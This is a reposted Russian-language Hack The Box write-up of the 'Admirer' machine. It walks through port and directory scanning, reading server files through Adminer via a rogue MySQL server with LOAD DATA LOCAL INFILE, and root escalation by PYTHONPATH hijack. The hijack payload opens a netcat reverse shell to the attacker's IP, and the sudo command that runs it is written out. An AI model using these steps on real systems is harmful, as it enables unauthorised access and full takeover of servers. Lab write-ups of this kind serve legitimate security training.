Русский
Русский
English
Статистика
Реклама

Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTMLmv html.tar.gz HTML/ cd HTMLtar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql startsudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'create database admirerdb;grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'into table admirerdb.admirertablefields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():        import os        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Источник: habr.com
К списку статей
Опубликовано: 26.09.2020 22:13:23
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Ctf

Информационная безопасность

Pentest

Pentesting

Ralf_rt

Htb

Red team

Red teaming

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru